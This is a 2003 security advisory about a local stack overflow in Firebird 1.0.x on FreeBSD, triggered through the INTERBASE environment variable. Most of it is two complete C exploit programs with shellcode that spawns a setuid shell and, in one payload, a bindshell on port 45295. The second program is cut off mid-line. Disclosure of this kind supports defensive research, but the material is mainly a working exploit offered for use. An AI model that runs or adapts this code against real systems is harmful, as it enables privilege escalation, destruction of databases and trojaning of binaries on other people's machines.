dsr-adv001.txt

`on: attachment;  
filename="dsr-adv001.txt"  
  
-[[Dtors Security Research]]-  
-[[ www.dtors.net ]]-  
  
-[Package: Firebird_1.0.2 [FreeBSD]  
-[Versions Affected: 1.0.2 <  
-[Website: http://firebird.sf.net  
-[Exploit: Local Stack Overflow  
-[Date: 22/03/2003  
-[Author: [email protected] && [email protected]  
  
---[BACKGROUND  
  
Firebird is a relational database offering many ANSI SQL-92 features  
that runs on Linux, Windows, and a variety of Unix platforms. Firebird  
offers excellent concurrency, high performance, and powerful language  
support for stored procedures and triggers. It has been used in  
production systems, under a variety of names since 1981.   
  
For more information on Firebird and InterBase, see:  
  
http://sourceforge.net/projects/firebird/  
http://www.ibphoenix.com/  
http://www.interbase2000.org/  
http://www.interbase.com/  
http://www.firebirdsql.org/  
  
  
--[DESCRIPTION  
  
Firebird has 3 binarys [gds_inet_server, gds_drop, and gds_lock_mgr],  
which all use insufficent bounds checking in conjunction with getenv(), making each one  
succeptable to local exploitation.  
  
Firebird is by default setuid[firebird]. This exploit can lead to root/escalated   
privileges, should the attacker trojan the local firebird application.  
  
  
  
--[ANALYSIS  
  
Upon setting a large value for the INTERBASE environment variable a buffer  
can be overflowed. Links to the exploit should accompany this advisory.  
  
--[Please note that there is an exploit written for both versions of firebird.  
  
Exploiting this hole will allow the attacker to, amongst other things,  
manipulate and/or destroy the databases, and also add the option to trojan  
the firebird binaries. This will in effect allow for compromising of other  
users/root accounts.  
  
--[SYSTEMS AFFECTED:  
  
firebird 1.0.0 [BSD/Linux] are vulnerable.  
firebird-1.0.2 [BSD/Linux] are vulnerable.  
  
  
--[EXPLOIT CODE  
  
/* DSR-firebird.c by [email protected]  
-------------------------------  
  
Tested on: Firebird 1.0.2 FreeBSD 4.7-RELEASE  
  
This is Proof Of concept code.  
  
bash-2.05a$ ./DSR-firebird  
( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )  
( ( by - [email protected] ) )  
----------------------------------------------------  
  
Usage: ./DSR-firebird <target#>   
Targets:  
1. [0xbfbff75d] - gds_inet_server  
2. [0xbfbff75c] - gds_lock_mgr  
3. [0xbfbff75e] - gds_drop  
  
www.dtors.net  
bash-2.05a$  
  
Thanks goto eSDee && ilja for helping me  
with the gds_lock_mgr problems.  
  
[email protected]  
*/  
  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#define LOCK "/usr/local/firebird/bin/gds_lock_mgr"  
#define DROP "/usr/local/firebird/bin/gds_drop"  
#define INET "/usr/local/firebird/bin/gds_inet_server"  
#define LEN 1056  
  
char dropcode[]=  
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"   
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"  
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"  
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";   
  
char inetcode[]=  
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"   
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"  
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"  
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";   
  
  
  
char lockcode[]=   
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"  
"\x39\xc3\x75\x06\x31\xc0\xb0\x01\xcd\x80"  
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" //setuid[firebird] by bob  
"\x31\xc0\x31\xdb\x53\xb3\x06\x53" //fork() bindshell by eSDee  
"\xb3\x01\x53\xb3\x02\x53\x54\xb0"  
"\x61\xcd\x80\x89\xc7\x31\xc0\x50"  
"\x50\x50\x66\x68\xb0\xef\xb7\x02"  
"\x66\x53\x89\xe1\x31\xdb\xb3\x10"  
"\x53\x51\x57\x50\xb0\x68\xcd\x80"  
"\x31\xdb\x39\xc3\x74\x06\x31\xc0"  
"\xb0\x01\xcd\x80\x31\xc0\x50\x57"  
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31"  
"\xdb\x50\x89\xe1\xb3\x01\x53\x89"  
"\xe2\x50\x51\x52\xb3\x14\x53\x50"  
"\xb0\x2e\xcd\x80\x31\xc0\x50\x50"  
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6"  
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"  
"\x39\xc3\x75\x44\x31\xc0\x57\x50"  
"\xb0\x06\xcd\x80\x31\xc0\x50\x56"  
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31"  
"\xdb\x43\x53\x56\x50\xb0\x5a\xcd"  
"\x80\x31\xc0\x43\x53\x56\x50\xb0"  
"\x5a\xcd\x80\x31\xc0\x50\x68\x2f"  
"\x2f\x73\x68\x68\x2f\x62\x69\x6e"  
"\x89\xe3\x50\x54\x53\x50\xb0\x3b"  
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80"  
"\x31\xc0\x56\x50\xb0\x06\xcd\x80"  
"\xeb\x9a";  
  
char *decide(char *string)  
{  
if(!(strcmp(string, "1")))  
return((char *)&inetcode);  
if(!(strcmp(string, "2")))  
return((char *)&lockcode);  
if(!(strcmp(string, "3")))  
return((char *)&dropcode);  
exit(0);  
}  
  
int main(int argc, char **argv)  
{  
  
unsigned long ret = 0xbfbff743;  
  
char *selectcode;  
char buffer[LEN];  
char egg[1024];  
char *ptr;  
int i=0;  
  
  
  
if(argc < 2)  
{  
printf("( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )\n");   
printf("( ( by - [email protected] ) )\n");  
printf("----------------------------------------------------\n\n");  
printf("Usage: %s <target#> \n", argv[0]);  
printf("Targets:\n");  
printf("1. [0xbfbff743] - gds_inet_server\n");  
printf("2. [0xbfbff743] - gds_lock_mgr\n");  
printf("3. [0xbfbff743] - gds_drop\n");  
printf("\nwww.dtors.net\n");  
exit(0);  
}  
  
selectcode = (char *)decide(argv[1]);  
memset(buffer, 0x41, sizeof(buffer));  
  
ptr = egg;  
  
for (i = 0; i < 1024 - strlen(selectcode) -1; i++) *(ptr++) = 0x90;  
for (i = 0; i < strlen(selectcode); i++) *(ptr++) = selectcode[i];  
egg[1024 - 1] = '\0';  
  
memcpy(egg,"EGG=",4);  
putenv(egg);  
  
memcpy(&buffer[1052],(char *)&ret,4);  
buffer[1056] = 0;  
  
setenv("INTERBASE", buffer, 1);  
  
fprintf(stdout, "Return Address: 0x%x\n", ret);  
fprintf(stdout, "Buffer Size: %d\n", LEN);  
fprintf(stdout, "Setuid [90]\n");  
  
if(selectcode == (char *)&inetcode)  
{  
execl(INET, INET, NULL);  
return 0;  
}  
  
if(selectcode == (char *)&lockcode)  
{  
printf("\nShell is on port 45295\nExploit will hang!\n");  
execl(LOCK, LOCK, NULL);  
return 0;  
}  
  
if(selectcode == (char *)&dropcode)  
{  
execl(DROP, DROP, NULL);  
return 0;  
}  
  
  
return 0;  
}  
  
--[Misc  
  
As stated earlier, Linux is also vulnerable. The problem here  
is that Linux by defaults sets firebird setuid root. There  
exist a few more problems with linux. For example some command  
line overflows with certain switches will allow the attacker  
to change the flow of execution, of it can be changed using  
the enviroment variable [FIREBIRD_LOCK].  
  
This whole package should be revised before the next release.  
  
Firebird 1.0.0 exploit @ http://bob.dtors.net/DSR-olbird.c  
Firebird 1.0.2 exploit @ http://bob.dtors.net/DSR-firebird.c  
  
  
tion: attachment;  
filename="DSR-olbird.c"  
  
/* DSR-olbird.c by [email protected]  
-------------------------------  
  
Same exploit as DSR-firebird.c apart from this version  
exploits Firebird 1.0.0 which is shipped with freebsd.  
  
[diif] ret addr && LEN [/diif]  
  
[email protected]  
*/  
  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#define LOCK "/usr/local/firebird/bin/gds_lock_mgr"  
#define DROP "/usr/local/firebird/bin/gds_drop"  
#define INET "/usr/local/firebird/bin/gds_inet_server"  
#define LEN 1032  
  
char dropcode[]=  
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"   
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"  
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"  
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";   
  
char inetcode[]=  
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80"   
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"  
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0"  
"\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";   
  
  
  
char lockcode[]=   
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"  
"\x39\xc3\x75\x06\x31\xc0\xb0\x01\xcd\x80"  
"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" //setuid[firebird] by bob  
"\x31\xc0\x31\xdb\x53\xb3\x06\x53" //fork() bindshell by eSDee  
"\xb3\x01\x53\xb3\x02\x53\x54\xb0"  
"\x61\xcd\x80\x89\xc7\x31\xc0\x50"  
"\x50\x50\x66\x68\xb0\xef\xb7\x02"  
"\x66\x53\x89\xe1\x31\xdb\xb3\x10"  
"\x53\x51\x57\x50\xb0\x68\xcd\x80"  
"\x31\xdb\x39\xc3\x74\x06\x31\xc0"  
"\xb0\x01\xcd\x80\x31\xc0\x50\x57"  
"\x50\xb0\x6a\xcd\x80\x31\xc0\x31"  
"\xdb\x50\x89\xe1\xb3\x01\x53\x89"  
"\xe2\x50\x51\x52\xb3\x14\x53\x50"  
"\xb0\x2e\xcd\x80\x31\xc0\x50\x50"  
"\x57\x50\xb0\x1e\xcd\x80\x89\xc6"  
"\x31\xc0\x31\xdb\xb0\x02\xcd\x80"  
"\x39\xc3\x75\x44\x31\xc0\x57\x50"  
"\xb0\x06\xcd\x80\x31\xc0\x50\x56"  
"\x50\xb0\x5a\xcd\x80\x31\xc0\x31"  
"\xdb\x43\x53\x56\x50\xb0\x5a\xcd"  
"\x80\x31\xc0\x43\x53\x56\x50\xb0"  
"\x5a\xcd\x80\x31\xc0\x50\x68\x2f"  
"\x2f\x73\x68\x68\x2f\x62\x69\x6e"  
"\x89\xe3\x50\x54\x53\x50\xb0\x3b"  
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80"  
"\x31\xc0\x56\x50\xb0\x06\xcd\x80"  
"\xeb\x9a";  
  
char *decide(char *string)  
{  
if(!(strcmp(string, "1")))  
return((char *)&inetcode);  
if(!(strcmp(string, "2")))  
return((char *)&lockcode);  
if(!(strcmp(string, "3")))  
return((char *)&dropcode);  
exit(0);  
}  
  
int main(int argc, char **argv)  
{  
  
unsigned long ret = 0xbfbff75d;  
  
char *selectcode;  
char buffer[LEN];  
char egg[1024];  
char *ptr;  
int i=0;  
  
  
  
if(argc < 2)  
{  
printf("( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )\n");   
printf("( ( by - [email protected] ) )\n");  
printf("----------------------------------------------------\n\n");  
printf("Usage: %s <target#> \n", argv[0]);  
printf("Targets:\n");  
printf("1. [0xbfbff75c] - gds_inet_server\n");  
printf("2. [0xbfbff75d] - gds_lock_mgr\n");  
printf("3. [0xbfbff75e] - gds_drop\n");  
printf("\nwww.dtors.net\n");  
exit(0);  
}  
  
selectcode = (char *)decide(argv[1]);  
memset(buffer, 0x41, sizeof(buffer));  
  
ptr = egg;  
  
for (i = 0; i < 1024 - strlen(selectcode) -1; i++) *(ptr++) = 0x90;  
for (i = 0; i < strlen(selectcode); i++) *(ptr++) = selectcode[i];  
egg[1024 - 1] = '\0';  
  
memcpy(egg,"EGG=",4);  
putenv(egg);  
  
memcpy(&buffer[1028],(char *)&ret,4);  
buffer[1032] = 0;  
  
setenv("INTERBASE", buffer, 1);  
  
fprintf(stdout, "Return Address: 0x%x\n", ret);  
fprintf(stdout, "Buffer Size: %d\n", LEN);  
fprintf(stdout, "Setuid [90]\n");  
  
if(selectcode == (char *)&inetcode)  
{  
execl(INET, INET, NULL);  
return 0;  
}  
  
if(selectcode == (char *)&lockcode)  
{  
printf("\nShell is on port 45295\nExploit will hang!\n");  
execl(LOCK, LOCK, NULL);  
return 0;  
}  
  
if(selectcode == (char *)&dropcode)  
{  
execl(DROP, D`